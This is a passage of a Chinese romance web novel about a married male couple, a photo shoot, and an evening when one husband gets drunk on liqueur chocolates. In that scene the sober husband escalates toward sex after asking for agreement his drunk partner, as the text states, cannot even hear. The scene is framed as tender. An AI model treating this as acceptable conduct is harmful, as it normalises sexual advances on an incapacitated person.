说着,佘念指了指人左手里的全部东西,示意这些都是买给他的,而右手里的,则是自己的。 一人一半,特别公平。 “对啦对啦,老公,这个就是我跟你说的朋友,阮晨,也是我的前辈,很厉害的那位模特。” 这才想起来互相介绍两人,佘念连忙松开手又跑回车边,给人介绍起驾驶座上的阮晨。 “你好,阮晨。” 闻言,阮晨对其打了个招呼。 “你好,段闻洲,今天佘念多亏你照顾了。” 而段闻洲也对其微微颔首。 “不客气,应该的,你们进屋吧,我也该走了,下次见。” 同两人挥手道别,等两人的背影在视线里消失,阮晨才重新启动车辆离开。 看起来,他们之间感情还挺好的。 回想起方才两人亲密的画面,又联想到自己,阮晨的眼底不由浮现出几分羡慕。 ———— “看来我们的小朋友,交到新朋友了?” 得知其终于交到了朋友,段闻洲很欣慰,一边替人收拾着买回来的东西,一边问道。 因为这是第一个佘念主动交到的朋友,意味着他成功融入了环境,社交方面完全没有问题。 “是呀,阮晨还说下次拍摄的时候传授我一下小技巧。” 靠坐在沙发上的佘念嘿嘿一笑,看样子很开心。 “就这么开心,把我一个人扔在家里?” 看见他脸上的笑容,段闻洲也被感染,走过来戳了戳小朋友的额头,开玩笑地说。 “嘿嘿,对不起嘛,本来我想发个消息告诉你的,但是一直被拉着到处逛,没看看手机。” 大概也知道理亏,佘念脸上露出一个心虚又谄媚的笑,主动抬手抱住人的胳膊,撒娇般地晃了晃,以祈求原谅。 “明天我一定在家陪你好不好?” “那还差不多。” 佯装息怒的段闻洲憋笑,享受着小朋友主动的亲昵,还在逗着他。 ———— 相比总裁段闻洲,这段时间的佘念反倒显得更忙了。 不过他一直记得把人独自扔在家里的那次,以至于后面被Lisa抓去补拍时,都想方设法拉上段闻洲一起去。 对此,堂堂段总心甘情愿地给他担任了司机兼助理,把人送到拍摄现场后,还特意留了下来。 ——之前出于工作忙碌的原因,他很少来现场看佘念拍摄。 不过因为专门添加了经纪人孙哥的联系方式,所以每一次佘念的拍摄造型他都会看到,因为有让孙哥每次都拍照发给自己。 “……好,那今天就收工了。” 不知是因为有和Lisa合作过的基础,还是因为有阮晨的专门指导,或者最关键的是因为此时段闻洲坐在旁边,今天的佘念超常发挥,极其在状态,很快就完成了补拍。 “佘老师,那边的是你的新助理吗?” 余光瞥见一旁拿着水在等候的段闻洲,Lisa好奇地问。 “不是哦,那是我老公。” 闻言,佘念大方地承认。 因为并不需要刻意隐瞒婚姻状况,所以他可以坦然承认段闻洲的身份。 虽然说吧,就算要隐瞒,可能我们的小蛇舌草精也十有八九会说漏嘴。 “噢?你老公?” 得到意料之外的答复,Lisa震惊地在两人之间来回扫了好几眼,随即眼睛一亮。 “趁时间还早,要不我给你们两拍一个情侣写真怎么样?” 这么一对又帅又萌的夫夫摆在跟前,不拿来当模特也太可惜了。 得知这一想法,段闻洲倒并不介意,全看佘念的想法,而佘念显然对此很感兴趣。 于是乎,两人就这么一起进了摄影棚。 佘念还保持着今天拍摄时的打扮没有更换,白色衬衫外面套着粉蓝色的毛线马甲,手上还穿着两个不规则长度的袖套。 下半身则是一条白色的休闲长裤,身上还贴了好几个可拆卸的立体卡通刺绣。 而今天的段闻洲没有穿西装,黑色的休闲衬衫配上黑色长裤,板正中又多了几分闲适,比起平常扣子扣到最上方的禁欲系搭配,略微敞开的v领更彰显荷尔蒙。 挽至臂弯的袖子下露出一块腕表,透露出更多成熟男人的味道。 上上下下将人打量了一番后,佘念心生一计,将自己身上的几个刺绣拿下,转而贴到了段闻洲的衣服和裤子上。 被这么一搭配,稳重单调的黑色上,忽然多了好几抹亮眼的彩色。 可爱的小熊小海星刺绣被贴在上面,倒一点都不显得违和,反而令两人身上有了相同的元素。 更登对了。 “噢不错不错,就这样子拍。” 就连Lisa看见了,都感慨着真是般配,立刻端起相机准备拍摄。 “段先生,麻烦您靠近一些,现在两位的距离远得像吵架了。” “抱歉。” 闻言,段闻洲尴尬地低咳一声,向佘念的方向挪近几分。 实话实说,他几乎没怎么拍过这种写真,拍得最多的照片,大概就是商务合作时的握手照。 官方又正式,和这种亲密的双人写真截然不同。 “要不你搂着我吧。” 见状,佘念也朝人的方向靠近几分,并主动拿过人的胳膊,搭在自己的腰上。 “诶对,佘老师您脑袋再往那边靠靠。” 听见摄影师这么说,于是他又歪了歪头,这一靠,便将整个脑袋完全倒在了段闻洲的肩膀上。 胸膛前陡然多了一个毛绒绒的温热,蓬松又柔软,段闻洲垂下眼,循着温度看了过去。 大概是感受到了目光,佘念也循着视线抬头望来。 目光在半空中对视上的瞬间,他扑闪扑闪地快速眨了眨眼,然后对人勾唇,露出一个甜甜的笑。 真可爱。 被这个笑容感染到,段闻洲的神色柔和了不少,眼睛弯了弯,眉目间满是宠溺。 ——真完美的状态,旁边的Lisa摄影师见状,迅速抓拍下了这一幕。 “很好,我们再换个动作,佘老师你从后方搂住人看看。” “好。” 于是佘念站起身来,噔噔噔地掉头往后跑去。 怀里陡然一空,柔软的身躯忽然离开,段闻洲稍微怔愣片刻,空落落的感觉还未消化完毕,背后突然又猝不及防被人抱住。 只见佘念从背后熊抱住了段闻洲,胳膊紧紧环住其脖颈,几乎是把全身的重量都压在了他的身上,是一副全然的依赖姿态。 后背的重量压得段闻洲往前倒了几分,反应过来后才稳了稳身形,略微调整了一下姿态,好让人能整个靠在自己身上。 脸颊被佘念贴住,像小动物一样地亲昵蹭了蹭,热情又兴奋。 “乖。” 说话间,段闻洲情不自禁地抬手摸了摸小朋友的脑袋。 “好,要不接下来换段总您抱佘老师试试?” 再次抓拍下两人的亲密无间,Lisa不由得在心里感慨他们感情真好,佘念的亲近都是发自内心的,而段闻洲也会被他外溢的情感带得放松,沉浸在彼此的眼中。 因为这份独属于两人间的默契和亲昵,使得这组照片看上去不仅不生硬别扭,反而洋溢着粉色泡泡。 抱佘念吗? 闻言,段闻洲思考了片刻,然后选择了公主抱的姿势。 只见他微微屈膝,蹲下身来,双手分别抄过佘念的膝弯和腋下,稍稍一用力,便稳稳地把人打横抱起。 “诶——” 身体忽然离地,佘念一惊,下意识搂住了他的脖子。 “别担心,不会让你摔的。” 像是为了证明自己的臂力一样,段闻洲还特意颠了颠怀里的人。 ——这一身肌肉可不是白练的,扛起佘念这种小身板绰绰有余,别说公主抱,哪怕单手都能直接把人抱起。 不过或许是最近被精心养着的缘故,佘念比起刚来那会胖了不少,腰部已经能摸到一小截软肉,变成了瘦但健康的状态。 “段总,单手抱可以做到吗?” Lisa一边按快门一边问道。 “当然。” 并不是什么很难的要求,段闻洲腾出一只手来,让佘念坐在自己的右臂上,胳膊紧紧托住人的臀.部。 既游刃有余,又稳当。 被这么抱着,佘念似乎也很开心,悬空的小腿开心地晃着,一只手搭在人的肩膀上,而非紧紧搂住。 因为他知道,老公肯定不会让自己摔下来的啦。 第63章 “OK啦, 照片等会我导出来发给你们。” 简单地拍完一组照片后,Lisa满意地欣赏着自己的杰作,越看越喜欢这套写真, 满意得不得了。 看看这构图, 看看这光影, 绝了。 她赞叹不已,沉浸在自己的杰作中, 看着相机感慨道。 ——就是低着头,没看到拍摄结束后, 模特们拉丝的眼神和腻歪的撒娇。 “老公,我们以后再多拍几组这种写真好不好?” 佘念揪着老公的衣袖摇了摇, 小声地问。 这样多好呀, 既能和老公在一起, 还能拍到好多好看的照片。 带薪黏老公, 一点也不累,还高兴得很。 等拿到成片后,他要把所有的照片都洗出来收藏。 “好, 以后有机会再拍。” 同样乐在其中的段闻洲笑道, 一边说,一边摘下自己身上的刺绣, 重新贴回他的身上。 嗯, 物归原主,这种可爱的东西其实还是更适合出现在小朋友身上。 同摄影师几人告别后,两人来到阮晨跟前。 在他们拍照的期间, 阮晨也没有离开,而是一直在旁边看着。 目不转睛,一言不发, 其眼底似乎有几分若有若无的羡慕和落寞。 “阮老师,等会有时间吗,方便的话想请您一块吃个午饭,算是感谢您这段时间对佘念的照顾。” 段闻洲礼貌地邀请。 “可以——啊,稍等我接个电话。” 刚想答应下来,电话突然响起,阮晨歉意地对两人道,然后接了起来。 “什么事,我现在在摄影棚这边……啊?你来干什么?行,我马上来。” 挂断电话后,他重新看向两人。 “不好意思,我等会有一点事,下次吧,有时间再聚。” “好,请务必给我们这个机会。” 见状,段闻洲看出他是有事,便也没再强求,免得人为难。 正准备离开时,阮晨像是才想起来另一件事,停下脚步,又从包里掏出了两样东西递给佘念。 一份是一沓资料,而另一份则是一盒巧克力。 “这些基础资料是我当年入行时整理的,你可以学习一下,应该对你以后会有帮助的,这盒巧克力是朋友从国外给我带的,分你一份。” “谢谢!” 宝贵的资料和好吃的巧克力,两样都是珍贵的礼物,佘念惊叹地道谢,欣喜接过。 瞧见这番关切的举动,还有小朋友高兴的神色,段闻洲不由得弯了弯眼睛,知道他是交到了一个很好的朋友。 同时在心底想,看来这顿饭是必须要请的了,毕竟承蒙照顾,已经欠了人好几个人情了。 当两人从楼内走出时,恰好撞见阮晨上了路边停着的一辆卡宴。 只见驾驶座上下来一个高大的男人,绅士地为阮晨打开副驾的门,那人似乎还想礼貌地扶一下他的肩膀,可却被其微不可察地避开,独自上了车。 “咦,有人来接阮晨了呀,但那好像不是他的经纪人。” 看着扬长而去的车,佘念嘀咕道。 而段闻洲没有接话,思索回忆起来。 因为他觉得开车那个男人好像有点眼熟,似乎在哪里见过,但是一下子想不起来了。 两人也驾驶车辆回到了别墅,一到家,佘念就收到了来自Lisa打包发来的照片。 可以说效率非常地高。 对人道谢过后,佘念便立刻一张张查看起成片,同时还不忘转发一份给段闻洲。 “老公你看,照片拍得很好诶。” 一边看,他一边感慨着,兴奋地举起手机,对不远处站着的人疯狂挥着示意。 “是,很好看。” 站在那的段闻洲同样也在查看照片,每滑一张照片,他嘴角的弧度就上翘几分,一看就知道也很满意照片的效果。 滑动照片的手指一拐,顺手将每一张照片都保存了下来。 并把其中一张设置成了桌面。 其实他也说不清为什么要这么做。 大概,只是因为照片确实拍得很好,很动人心弦吧。 “你先休息一会,我去做晚饭。” “好哦。” 等段闻洲去了厨房后,佘念便自己坐在沙发上,他打开电视,一边看,一边把阮晨送的那盒巧克力拆开来吃。 大有一副坐等开饭的架势,就差端个碗去厨房门口了。 其实他之前也不是没想过去厨房打下手,但只进过一次,他就被段闻洲礼貌地“请”了出来,并且再也不敢让他进厨房了。 毕竟,谁敢让一个答应帮忙热油,结果却是连油带瓶一块放上燃气灶加热的小朋友来打下手呢? 还是让人在外面乖乖等开饭好了。 “佘念,可以洗手吃饭了——” 大概一个小时后,最后一道菜出锅,香气溢满了屋内,厨房里的段闻洲喊道。 不过往常一闻到香味,佘念就会立刻小跑来餐桌边的了,怎么今天等了半天还没看见影子? 感到奇怪的段闻洲疑惑地来到客厅,一眼就看见了茶几上空空如也的盒子。 里面摆放的巧克力,此时只剩下两块了,其余的都进了某人的肚子。 “嘿嘿。” 见他来了,沙发上的佘念露出一个傻乎乎的笑,八颗洁白的牙齿整整齐齐,脸蛋番茄一样红扑扑的,乍一看无辜极了。 “饭前怎么还吃这么多零食,当心等会吃不下饭。” 看着他这幅样子,责备的话说出口时,都不知不觉变得柔和了几分,段闻洲无奈地叹了口气,弯腰替人收拾着茶几表面的包装纸。 “不会的啦,你做的饭我都吃得下的。” 每餐能一口气吃三碗的佘念一脸认真地保证。 像是怕人不相信,他还专门竖起三个手指发誓。 “好,那现在快来洗手吃饭。” 见状,段闻洲好笑地起身,将垃圾丢进垃圾桶,并向着厨房走去。 而佘念则像个小尾巴一样,也不去洗手,就这么一直亦步亦趋地跟在人身后,走到哪跟到哪。 甚至前方的人停下了,他都还没有刹车,一头撞上了宽阔结识的后背。 “干嘛一直跟着我?” 身后哒哒哒的脚步声实在太明显,想忽略都做不到,段闻洲索性停下了步伐。 却没想到小朋友像个导航失灵的车一样,咚地一下撞了上来。 “怎么连路都不看了?” 他无奈又好笑,转身小心地扶住了人。 “唔……” 这一下可撞得不轻,仿佛撞到了一堵墙上,鼻梁都有些痛,佘念好像有点懵,愣愣地摸着鼻子,然后睁着一双失焦的瞳孔向上望来,其间有粼粼眸光闪烁。 这一对视,段闻洲才发现似乎有些不对劲。 小朋友的脸怎么这么红? 此时的佘念,脸颊红扑扑的,但红得有些不正常,满脸潮红,仿佛熟透的番茄。 他用手背贴了贴,滚烫的温度传来,但并不是发烧的体感。 脑回路忽然间闪过某个可能的猜测,段闻洲一惊,快步赶回茶几边,查看起那盒巧克力来。 只见巧克力的盒子上,赫然写着几个大字: 酒心巧克力。 看来原因已经很明显了,佘念是酒心巧克力吃太多,把自己给吃醉了。 想到这,段闻洲无奈又好笑。 “连酒心巧克力都能醉?嗯?” 眼见身后的小尾巴又黏了上来,他掐了掐人的脸颊,笑着问道。 “我,没有醉鸭。” 即使语调已经黏糊起来,某只小醉猫还在嘴硬,晕乎乎地往人跟前凑。 “没醉?那你说这是几?” 说着,段闻洲对人竖起一根手指。 “这是……一!” 眯起眼睛仔细辨认前方的手指,重影层层,佘念琢磨了四五秒,才艰难给出答案。 “那这个呢?” 他又竖起了两根手指。 “是一……不对是二。” 眼前的手指重影快要重叠,很明显佘念已经处于微醺的状态了,晕乎乎的。 脑袋有点意识,但不多。 “现在呢?” 愈发觉得逗弄人有意思起来,段闻洲又竖起三根手指。 “这个……” 只觉眼前的景象越来越朦胧,重影在不停摇晃着,眼前仿佛走马灯似的,在晕头转向之间,佘念的视线焦点并未落在手指上,而是落在了段闻洲的脸上。 目光渐渐聚焦,直到终于看清那张熟悉的脸。 “这个是我老公!” 说着,佘念咧嘴露出一个比太阳还灿烂的笑容,认真地给出答案。 “我最最喜欢,最最好的老公!” 紧接着,他抬手环住人的脖颈,脑袋在其肩窝处亲昵地蹭了蹭,然后又仰起头,捧着人的脸吧唧亲了一大口。 声音响亮得方圆五米都能听见。 “最喜欢你啦老公。” 世界上对自己最好的人,就只有段闻洲,不仅会给自己住的地方,还会请自己吃好吃的。 甚至遇到各种问题,他也会不求回报地帮自己解决。 从种子时期开始,自己都是独自生长,挣扎存活,从没有感受过这种程度的关心。 一想起段闻洲对自己的好,佘念就觉得心里有暖流淌过。 越看眼前的人越觉得喜欢,也越克制不住自己,大脑在酒精的作用下已经一片空白,他只想遵循本能行事。 于是,佘念再一次捧起段闻洲的脸,啵唧亲了一口。 一口又一口,先是亲了亲额头,然后又下移至眉心,紧接着是眼睑、脸颊。 最后还差嘴唇。 一连串的吻落下,轻柔湿热的触感在唇瓣上一触即分,连鼻尖也碰到。 这样的触碰,叫段闻洲愣住了。 “你——” 眼见佘念还要继续亲,他连忙阻止人。 “干嘛鸭——” 被拦住的佘念显然很不满,眉毛皱巴巴地蹙成一团,瞪眼望来。 见怎么偷袭都亲不上,他反而急起来了,索性死死地抱住人的脖子,凑得极近,伺机寻找下嘴机会。 甚至当段闻洲想把人拉开时,他还不依不饶黏得更近,最后竟然直接跳到其身上,两腿紧紧夹住不肯下来。 乍一看,就跟个树袋熊似的,整个挂在了段闻洲的身上。 胸前陡然多了一具柔软的身躯,紧紧相贴,一双笔直纤细的腿还就这么环在了自己的腰上。 段闻洲不得不用手托住人的臀部,以防其掉下去。 这是一个很危险,也很暧昧的姿势。 他只觉额间青筋突突直跳,哑声道: “佘念,你知道自己在干什么吗?” “知道呀。” 说完,佘念找准机会,再次仰起头,凑近亲了他一口。 “我在亲你。” 话音落下的瞬间,宛如有零星火光落入木柴之中,顷刻间燃起了一片燎原烈火。 第64章 “我在抱着你, 在亲你呀。” 这么说完,佘念再一次凑近,在段闻洲的嘴唇上印下一个新的吻。 大概是嫌一个不够满足, 他又连着吧唧亲了好几下, 化身十足的黏人精, 贴在人身上怎么也不下来。 又甜又软。 “等、等等……” 喝醉的小朋友实在有点太难以招架了,段闻洲头疼不已, 但又没法一把将他推开,只得用唯一一只空手捂住其作乱的嘴。 “肿么辣?” 缓慢地眨了一下眼, 见怎么都亲不到对面的人了,佘念委屈巴巴地询问。 因为嘴巴被覆盖住, 发出的声音像是被罩住, 变得含糊黏腻, 仿佛掺了蜜糖一样黏哒哒的, 配着上扬的语调,软乎乎的,叫任何一个铁石心肠的人都会心软。 “不能随便亲。” 段闻洲叹了口气, 试图对醉鬼讲道理。 “为什么不能随便亲?” 大脑空白的小蛇舌草精刨根问底, 不依不饶。 “因为只有对喜欢的人才能这么做。” “可是,我就是喜欢你呀。” 不讨厌不就是喜欢, 喜欢不就能亲亲?为什么还要阻止自己呢? 单纯的佘念想不明白。 自己就是很喜欢很喜欢老公, 世界第一喜欢的那种。 而且亲亲也很舒服,这种舒服的事只想跟老公做。 就是喜欢你…… 这句话犹如一记重锤,横冲直撞地, 砸进了段闻洲的心里。 不得不说,平日里佘念各种主动的举动,就已经足够黏人, 足够让人招架不住,而如今喝醉了的他,打直球进攻性的能力变得更强。 用最软的语气,说着最撩人的话语。 如此简单的一句话,却有着翻天覆地的力量,搅得段闻洲心绪如麻,在这样一句坦诚的喜欢前,他竟不知该如何应对。 这份喜欢,究竟是哪种意义的喜欢? 是亲情方面的喜欢,还是爱情方面的喜欢? 但是,从内心深处来说,段闻洲自己也不清楚,他更希望答案是哪一个。 不明含义的喜欢,配上暧昧的距离,还有连绵如雨点的亲吻,在眼下这种情景之下,不论真实的意味是什么,皆染上了旖旎的韵味。 酒心巧克力中的酒精,似乎已经挥发到了空气中,在无形中发酵,膨胀,占据了所有的空间,醺得在场的两人都沾上了几分醉意,在酒精的作用下牵引着心神。 “佘念,你看着我。” 不由得深呼吸一口气,段闻洲努力使自己的心神镇定下来。 “嗯?” 听到自己的名字,佘念湿漉漉的眼神抬眸望来,小鹿一样水润懵懂,还用鼻音轻哼一声,发出询问。 “你还认得出我是谁吗?” “认得呀,你是我老公。” 不同于方才眯眼辨认数字的样子,面对这个问题,他一下子就给出了答案,根本不用思考。 一看就是早认出了。 “难道你喜欢谁,就会亲谁吗?” 段闻洲喉结动了动,哑声问道。 “唔,但是你不是说,只能亲喜欢的人吗?” “那是所有喜欢的人都会亲?” 闻言,佘念沉默了。 因为这个问题把他绕晕了,他用不甚清明的大脑思索了一番,发现好像并不是这样。 喜欢的人很多,但是想亲的人,似乎只有一个。 见他没有回答,段闻洲的神色间浮现一抹暗色: “你还有亲过别人吗?” “没有的,我只亲过老公。” 佘念猛地把脑袋甩成拨浪鼓,拼命摇头表示否认。 “我也只想亲老公,我的老公就是段闻洲。” 说完,他又捧起人的脸,极其认真地在人唇瓣上用力亲了一口。 “和你亲亲很舒服,我喜欢你,也喜欢亲你,但我只会亲你一个人。” 醉酒状态下,佘念断断续续说的话都是单句,很短,辞藻也直白质朴,没有任何华丽的修饰词或比喻,想到什么就说什么。 但偏偏每一句话都极有力量,直击人心脏最柔软的地方。 宛如射过来的箭,每一箭都直直地扎在心房上,最后坚固多日的心房破开一个裂缝,无数炽热的情感奔流而出。 “……佘念,你再说一遍。” 段闻洲觉得已经快压抑不住自己的内心了,心中的欲望在呼啸翻搅,即将破壳。 “我说,我最喜欢你,也只想亲你一个人哦。” 很乖地,佘念再次重复了一遍,就连动作也学了一遍,又倾身靠近,亲了人一口。 不过这次,吻没有一触即分。 因为段闻洲按住了他的后脑勺,继续着这个吻,强硬地不许人后撤离开。 主动权落在了段闻洲的手中,这个吻开始变味。 仿佛陈酿多年的酒,在某个时刻终于孕育成型,演变出了诱人的酒香。 “唔……” 忽然被有力温热的大掌按住后脑勺,力道不容抗拒,佘念只觉唇上被人发了狠地碾着,像是要将自己整个拆吃入腹一样。 这么用力地亲着,大概自己的嘴唇现在都被吸肿了。 而段闻洲却浑然不觉,似乎是将这个吻当成了情感的宣泄口,肆意吻着,无数未启齿的话语尽数通过吻传达。 ——不论佘念所说的是哪个含义,他都要误会了。 并且,是心甘情愿地误会。 如果说曾经的他还在自欺欺人,对心底某个萌芽的种子视而不见的话,那么现在,这颗种子已然破土而出,成长为参天大树,牢牢扎根于内心。 让人想忽视都做不到。 而这颗种子,名为喜欢。 ——段闻洲喜欢佘念,现在他可以确定这一点了。 会因为小朋友和他人的亲昵而不爽,也会因为小朋友对自己的特殊而愉悦; 更会因为一句直白的喜欢而欣喜万分。 之前的段闻洲,一直将佘念看待成一个需要照顾的小孩子,心疼其灰暗的过往,所以才会在婚后对其关照有加,想把一切好东西都捧到人的跟前。 最初的情感,是类似于亲情的关怀。 而在长久的接触中,这份感情渐渐变质,演变成为了另一种存在。 或许是因为真挚热烈的亲近,又或许是清澈透亮的眼眸,在那份毫无保留的坦诚与依赖之下,一颗心逐渐习惯了另一颗心的存在。 不会排斥多出一人的家,不会不适应多躺一人的床。 视线已然习惯去捕捉某个小朋友轻盈的身影,习惯了有他在自己身边。 而在今天,这份披着关爱皮囊的情感,终于被微醺的佘念戳破。 虽然是无意识的。 直到这时,段闻洲才终于意识到了,自己是喜欢佘念的。 是明显的,基于爱人之间的那种感情。 连绵如雨点的吻落下,似乎是急切地想要把内心的情感尽数传达,一向在生意场上理性从容的段总,头一次陷入如此难以自控的疯狂中。 理性与克制在打架,矜持与粗暴在对抗,他想要把对面的人拆吃入腹,完全占有,但又害怕吓到人。 曾经段闻洲觉得自己在两.性方面很淡薄,比起谈恋爱,他更喜欢全身心投入学习或者工作的状态,不明白为何情侣间如此沉浸于亲吻拥抱。 直到遇见佘念后他才知道,原来亲吻是一种如此美妙的体验。 美妙得令人上瘾,着迷。 渐渐地,只停留于唇瓣表面的亲吻已经不再能满足,段闻洲无师自通地探出了舌头。 舌尖纠缠,气息交换。 浅吻,演变成了深入的湿.吻。 这算是两人之间,第一个真正意义上的吻。 “唔啊……” 唇.舌.交.缠间,佘念被吻得上气不接下气,无意识泄出小兽一般的嘤.咛声。 当后背被抵在墙上时,他依稀有一种错觉,感觉自己是被猎人狠狠压住的猎物,浑身上下都被控制住,只能仰头承受着这一深入又凶猛的吻。 无处可逃。 一时间,客厅里尽是暧.昧的喘.息,以及滋.滋的水.声。 “乖,用鼻子换气。” 看着人的脸蛋憋得通红,段闻洲哑然失笑,抵住他的额头,轻声提醒。 低沉又富有磁性的嗓音在耳畔边响起,佘念只觉得本就昏沉的大脑更混沌了,霎时间什么都无法思考,只会遵循本能行事。 像是被塞壬蛊惑的船员,他乖巧回应道: “好。” 这样的回答无异于准许,段闻洲莞尔,挑起人的下巴,再度吻了上去。 空气中的暧.昧在膨.胀扩张,温度仿佛都上升了几分,酒精混杂着热风,醺得人抛去了所有理智,追逐着内心最原始的想法。 随着“哗啦”一声,茶几上的东西被粗暴扫落,凌乱地撒在地上。 取而代之的,是被温柔轻置于其上的人。 只见佘念被小心地放下,仰躺在茶几表面上,随即段闻洲倾身压上,重新笼罩住人。 “快点,继续亲我。” 得了趣的小蛇舌草沉浸在亲吻所带来的快感中,不满地抬手环住身上人的脖颈,把人向下拉了拉,催促道。 “嗯。” 而段闻洲低声应道,遵循着他的要求,再一次吻了下来。 亲吻在继续,手也在游走着。 情难自禁,气氛已经烘托到这了,进行到下一步似乎是顺水推舟的事。 更何况,佘念的腿也已经悄然盘上了段闻洲的腰.部,紧紧勾着,仿佛在无声中发出盛情邀请。 “确定吗?” 大掌抚摸着身下人柔.软的小.腹,段闻洲哑声征求着人的同意,语气里尽是克制。 “嗯……你快点。” 其实大脑已经混沌到完全没听清人在说什么,佘念只是不满为什么舒服的吻停了下来,焦急地催促道。 这话听上去,就像在撒娇一样。 段闻洲只觉得心脏仿佛被泡在了蜜糖里似的,甜得化不开。 气血上涌,明明是快三十岁的人了,此时却像个毛头小子一样血气方刚。 他咽了咽口水,喉结滚动,紧接着俯.下.身来,如雨点般的吻落在了佘念的锁.骨处。 但就在他准备进行下一步时,身下的小朋友却忽然双眼失焦,紧接着亮眼一闭,竟直接睡了过去。 段闻洲:……? “佘念?” 他不确定地轻轻拍了拍人的脸,得到的只有均匀平缓的呼吸声。 显然,小醉猫睡着了。 就这么不管不顾地睡着了。 独留清醒的某人在原地。 感受着怀里软绵绵的身体,段闻洲简直气笑了,但偏偏又拿他没办法。 虽然身体的火已经被撩起来了,但现在也无可奈何。 谁让天大地大,小朋友最大。 餐桌上的菜已经冷了,看来,他也需要来点冷水降降火了。 第65章 随着第二天的晨曦钻进屋内, 新的一天来临,床上的佘念揉了揉眼睛,悠悠转醒。 “唔——睡得好舒服。” 他伸了个大大的懒腰, 像只小猫一样舒展着四肢, 浑身暖洋洋的, 舒坦极了。 总觉得昨天好像做了一个大美梦,但是具体梦到了什么, 却又想不起来。 他一边打了个哈欠,一边琢磨道。 等到意识彻底回笼后, 他翻了个身,一抬眼正好对上身旁男人的视线。 只见段闻洲此时正靠坐在床头, 大腿上放着笔记本电脑, 似乎在处理工作。 见身旁的人醒后, 他合上电脑, 摘下了鼻梁上的眼镜,偏头看来。 “醒了?” 只听他缓缓开口,声音低沉, 听不出喜怒哀乐。 但不知为何, 佘念能感觉到他话语里的不对劲,不似平常那般温柔。 反而让他下意识一颤。 ——这样的语气, 通常只会出现在自己犯错误的时候。 难道, 自己又闯什么祸了? 大脑飞速运转起来,佘念立刻火速思考自己犯了什么错。 但不管怎么想,都想不起来自己昨天干了什么, 于是他只好露出一个讪讪的笑,企图萌混过关。 “老公,早呀, 你怎么醒这么早?” 他挪着身体凑近几分,嘿嘿笑着将脑袋枕在人的胳膊上,缓慢地眨动了一下眼睛,散发出无辜的光芒。 “昨天晚上睡得舒服吗?” 对于人显而易见的撒娇,段闻洲没有抽出手,而是不动声色地问道。 “还、还可以。” 虽然并不知道这个问题的意义,但佘念的心底忽然浮现出危机感。 “是吗,那还记得你昨晚干了什么吗?” “我……我做了什么鸭?” 大脑完全回想不起来晚饭时发生了什么,记忆就像断片了似的,直接跳过了某个片段的回忆,佘念突然间心虚起来,说话的语气也下意识带上了撒娇和讨好。 “再好好回忆回忆,想想自己错哪了。” 瞧见他的反应,段闻洲已经猜到了大半,目光轻轻在人脸上一扫,然后收回,淡淡的语气叫人分辨不出喜怒。 错哪了? 难道自己昨晚干了什么对不起老公的事? 闻言,佘念心中警铃大作,拼命回想自己到底做了什么事。 得有多罪大恶极,老公才会这么说? “对不起老公,我错了。” 遇事不决先道歉,虽然怎么都想不起来具体的原因,但佘念非常有眼力见地,先道歉为强。 他爬起身来坐直,揪住人的衣摆,轻轻晃了晃,垂下头小声地说着对不起。 “错哪了?” “错……错在不该饭前吃零食?” 语调带着疑问的语气,佘念试探着道,一边说一边用余光打量人的反应。 “还有呢?” “还、还有……不该睡懒觉?” “还有吗?” “啊,还有啊?” 天呐,自己昨天到底都干了多少伤天害理的事呀,怎么还有错呢? 这下是真把我们小蛇舌草给难住了,他茫然地挠了挠头,已经猜不出来其他可能会犯的错了。 看着他下垂的眼,还有已经抿成向下开口钝角的嘴,样子委屈极了,段闻洲嘴角没忍住向上弯了弯,流露出一抹淡淡的笑意。 “好了,不逗你了。” 说着,他抬头摸了摸小朋友的头,偏头低笑出声。 “以后要记住,没有我在身边的话,一点酒精都不能沾,知道了吗?” “知道啦。” 见老公没有真的在生气,佘念这才放下心来,小猫一样蹭了蹭人的手心,享受着这个摸摸,十分乖巧地回答。 “所以老公,我昨晚到底干什么了啊?我一点都想不起来了。” 他眯眼问道。 “你自己想。” 而段闻洲却并不打算告诉他,只是戳了戳他的额头,一副恨铁不成钢的表情。 “唔,想不起来嘛。” 佘念再度试图萌混过关,但不知为何,一向管用的这招,在今天却一点也不奏效。 就在他准备继续开口时,一阵绵长的咕噜声却打断了他接下来的话语。 只听见沉闷的声音,从他的肚子里传来。 “饿了?下楼吃饭吧。” 见状,段闻洲哭笑不得,换了个话题,掀开被子下了床。 “噢来啦——” 比起追问昨晚发生了什么,眼下还是先吃东西填饱肚子更重要,于是佘念停下追问,乖乖地先跟着去洗漱吃饭了。 而日后佘念不管怎么追问,段闻洲都不肯告诉他那天究竟发生了什么。 对此,他感到很奇怪,想不通为什么一向顺着自己的老公,怎么都不愿意提起那天。 不过随着时间流逝,心大的他很快便将这件事抛之脑后,不再纠结了。 至于段闻洲么,自然是不可能就这么轻易放下的。 但是他也不会主动挑明,因为他还不清楚佘念本人的想法。 涉世未深的佘念可能还对情爱很陌生,所以自己也不会说出口,就算维持现在的关系也不错。 说是胆小也好,被动也罢,他永远将选择权交到佘念手中,不论日后小朋友会做出怎样的选择,自己都不会干涉。 反正现在,两人之间有着婚姻这层法律关系,不急于眼下,只要在婚姻期间,自己尽最大的能力给予人幸福就好,这样他就很满足了。 一旦挑明,大概连婚姻都无法维持。 如果能心意相通,那便是最好,但若是日后小朋友喜欢上了他人,自己也会坦然放手。 不会主动放弃,但也会适当放手。 从段闻洲的角度来说,他已经过了又争又抢的年纪,但他会用自己的方式默默守护着佘念。 不论现在,还是未来。 因为他知道,两人的年龄差摆在那,这就意味着佘念还年轻,还有广阔的天空要去看,还有无尽的自由要追逐。 而自己与人之间,只是基于联姻而达成的婚姻关系,或许在将来,情窦初开的佘念还会遇到一个与其无话不谈,更适合他的同龄人。 只要那双眼眸能一直保持明亮纯净,只要那处嘴角能永远洋溢欢快笑容,只要佘念能过得幸福,那就够了。 ———— 日子一天天过去,生活还在照旧,由于别墅有一整片大花园,佘念喜欢得紧,所以两人现在改成了工作日住在市中心的大平层,方便通勤,而周末则回到别墅中度假。 不知是不是错觉,佘念总觉得这段时间段闻洲有所变化。 倒不是往坏的方向变了,比如说变得更冷淡或者其他的,但是要详细描述的话,又讲不出来到底是哪里变了。 硬要说的话,大概就是段闻洲看向自己的眼睛,其间似乎有着更明亮的光了。 亮闪闪的,里面蕴藏着炽热的情愫。 “老公——” 坐在沙发上的佘念软声喊道。 “怎么了?” 闻言,书桌后的段闻洲停下动作,循声看来过来。 ——换做之前,他一般都会应,但通常都是继续手上的动作,头也不抬地回答。 但是现在,每每被佘念喊,他都会抬眼望来,含笑的眉眼对视上来。 深邃,柔和,又盈满看不懂的深沉情绪。 看不懂,但佘念并不讨厌,相反还很喜欢被老公全身心注视的时候。 